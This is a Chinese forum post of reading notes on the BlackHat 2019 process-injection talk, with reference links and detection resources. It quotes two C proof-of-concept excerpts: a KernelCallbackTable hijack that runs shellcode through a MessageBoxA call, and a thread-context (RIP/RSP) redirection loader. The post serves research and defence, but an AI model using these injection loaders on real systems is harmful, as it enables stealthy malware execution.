-
-
[原创]《Process Injection Techniques - Gotta Catch Them All》议题读后记
-
2022-2-10 13:37 4909
-
0x01 《Process Injection Techniques - Gotta Catch Them All》
BlackHat 2019议题,相关链接如下:
• Presentation Slides
• White Paper
• Tool
作者于文中讨论的是True Process Injection:
Injection可划分为两项子技术:
所以作者在Paper中将所有提到的技术划分为两类——write primitive与execution method,每一项Injection后面会标注其属于哪一类:
作者在列出每一项Injection后分析其核心原理,给出POC,并给出评估:
最后列出表格总结前文提到的所有技术。作者在最后还提到一个有意思的Auxiliary Technique:
Paper中第16项 KernelControlTable execution method (FinFisher/FinSpy 2018),Lazarus在最近的攻击活动中利用了该技术——North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign,笔者在Lazarus KernelCallbackTable Hooking一文中对其进行了简要分析,ORCA666近日发布了POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 | PssSuccess = PssCaptureSnapshot( TargetProcess, PSS_QUERY_PROCESS_INFORMATION, NULL, &SnapshotHandle); if (PssSuccess ! = ERROR_SUCCESS) { printf( "[!] PssCaptureSnapshot failed: Win32 error %d \n" , GetLastError()); return FALSE; } PssSuccess = PssQuerySnapshot( SnapshotHandle, PSS_QUERY_PROCESS_INFORMATION, &PI, sizeof(PSS_PROCESS_INFORMATION) ); if (PssSuccess ! = ERROR_SUCCESS) { printf( "[!] PssQuerySnapshot failed: Win32 error %d \n" , GetLastError()); return FALSE; } if (PI.PebBaseAddress = = NULL) { printf( "[!] PI.PebBaseAddress IS NULL \n" ); return FALSE; } else { / / ReadProcessMemory(TargetProcess, PI.PebBaseAddress, &peb, sizeof(peb), &lpNumberOfBytesRead); RtlMoveMemory(&peb, PI.PebBaseAddress, sizeof(PEB)); if (peb.KernelCallbackTable = = 0 ){ printf( "[!] KernelCallbackTable is NULL : Win32 error %d \n" , GetLastError()); return FALSE; } else { memcpy(&kct, peb.KernelCallbackTable, sizeof(kct)); printf( "[i] [BEFORE]kct.__fnDWORD : %0-16p \n" , (void * ) kct.__fnDWORD); if (Clean = = TRUE){ / / ReadProcessMemory(TargetProcess, WMIsAO_ADD, & Buffer , Size, &lpNumberOfBytesRead); RtlMoveMemory(& Buffer , WMIsAO_ADD, Size); if ( Buffer = = NULL) { printf( "[!] Buffer is NULL: Win32 error %d \n" , GetLastError()); return FALSE; } } Success = VirtualProtect(WMIsAO_ADD, Size, PAGE_READWRITE, &Old); if (Success ! = TRUE) { printf( "[!] [1] VirtualProtect failed: Win32 error %d \n" , GetLastError()); return FALSE; } memcpy(WMIsAO_ADD, rawData, Size); Success = VirtualProtect(WMIsAO_ADD, Size, PAGE_EXECUTE_READWRITE, &Old); if (Success ! = TRUE) { printf( "[!] [2] VirtualProtect failed: Win32 error %d \n" , GetLastError()); return FALSE; } printf( "[i] WMIsAO_ADD : %0-16p \n" , (void * )WMIsAO_ADD); memcpy(&Newkct, &kct, sizeof(KERNELCALLBACKTABLE)); Newkct.__fnDWORD = (ULONG_PTR)WMIsAO_ADD; pNewkct = VirtualAlloc(NULL, sizeof(KERNELCALLBACKTABLE), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memcpy(pNewkct, &Newkct, sizeof(KERNELCALLBACKTABLE)); Success = VirtualProtect(PI.PebBaseAddress, sizeof(PEB), PAGE_READWRITE, &Old); / / WriteProcessMemory(TargetProcess, (PBYTE)PI.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &pNewkct, sizeof(ULONG_PTR), &lpNumberOfBytesWritten); RtlMoveMemory((PBYTE)PI.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &pNewkct, sizeof(ULONG_PTR)); Success = VirtualProtect(PI.PebBaseAddress, sizeof(PEB), Old, &Old); / / if (lpNumberOfBytesWritten = = 0 ) { / / printf( "[!] WriteProcessMemory failed: Win32 error %d \n" , GetLastError()); / / return FALSE; / / } / / else { Check_fnDWORDAfterOverWriting(TargetProcess); MessageBoxA(NULL, "test" , "test" , MB_OK); / / this will trigger the shellcode, and u wont see the messagebox ; 0 if (Clean = = TRUE) { / / WriteProcessMemory(TargetProcess, WMIsAO_ADD, & Buffer , sizeof( Buffer ), &lpNumberOfBytesWritten); RtlMoveMemory(WMIsAO_ADD, Buffer , sizeof( Buffer )); ZeroMemory( Buffer , sizeof( Buffer )); } / / } return TRUE; } } |
ORCA666发布的另一个项目snaploader:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | while (PssSuccess = = ERROR_SUCCESS) { + + i; PssSuccess = PssWalkSnapshot( SnapshotHandle, PSS_WALK_THREADS, WalkMarkerHandle, &Handle, sizeof(PSS_THREAD_ENTRY) ); if (ThreadEntry.ThreadId = = TID){ memcpy(&Snapctx, ThreadEntry.ContextRecord, sizeof(CONTEXT)); printf( "[+] Snapctx.Rip Before Setting : 0x%-016p\n" , (void * )Snapctx.Rip); if (Rip) { Snapctx.Rip = * (DWORD64 * )Rip; } if (Rsp) { Snapctx.Rsp = * (DWORD64 * )Rsp; } printf( "[+] Snapctx.Rip After Setting : 0x%-016p\n" , (void * )Snapctx.Rip); if (!SetThreadContext(hThread, &Snapctx)) { printf( "[!] SetThreadContext FAILED with Error : %d \n" , GetLastError()); return FALSE; } Sleep( 5000 ); printf( "[+] DebugActiveProcessStop ..." ); DebugActiveProcessStop(PID); printf( "[+] DONE \n" ); } } |
0x02 PE Injection
- hasherezade/injection_demos.md
- RedTeamOperations/Advanced-Process-Injection-Workshop
- Ten process injection techniques: A technical survey of common and trending process injection techniques
- jxy-s/herpaderping,DivingDeeper.md
0x03 Detections
- Hunting In Memory
- Engineering Process Injection Detections - Part 1: Research
- Engineering Process Injection Detections — Part 2: Data Modeling
0x04 References
- Windows Process Injection: Extra Window Bytes
- Windows Process Injection: PROPagate
- Windows Process Injection: Sharing the payload
- Advanced Evasion Techniques by Win32/Gapz
- Injection on Steroids: Codeless code injection and 0-day techniques
- AtomBombing – A Brand New Code Injection Technique for Windows
- Diving Into Zberp’s Unconventional Process Injection Technique
- 【恶意代码分析技巧】14-修改内存指针实现进程注入
- 一种清除windows通知区域“僵尸”图标的方案——问题分析
- Executing Shellcode via Callbacks
- Code Injection - Weaponize GhostWriting Injection
本文可以当作是一篇汇总,记录了笔者在阅读BlackHat 2019《Process Injection Techniques - Gotta Catch Them All》议题时所搜集到的相关资料,0x04 References部分1-7都在White Paper中有提到,笔者认为原文会比Paper更详尽一些。另,modexp与Hexacorn上有很多关于Process Injection这方面的博客。
看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~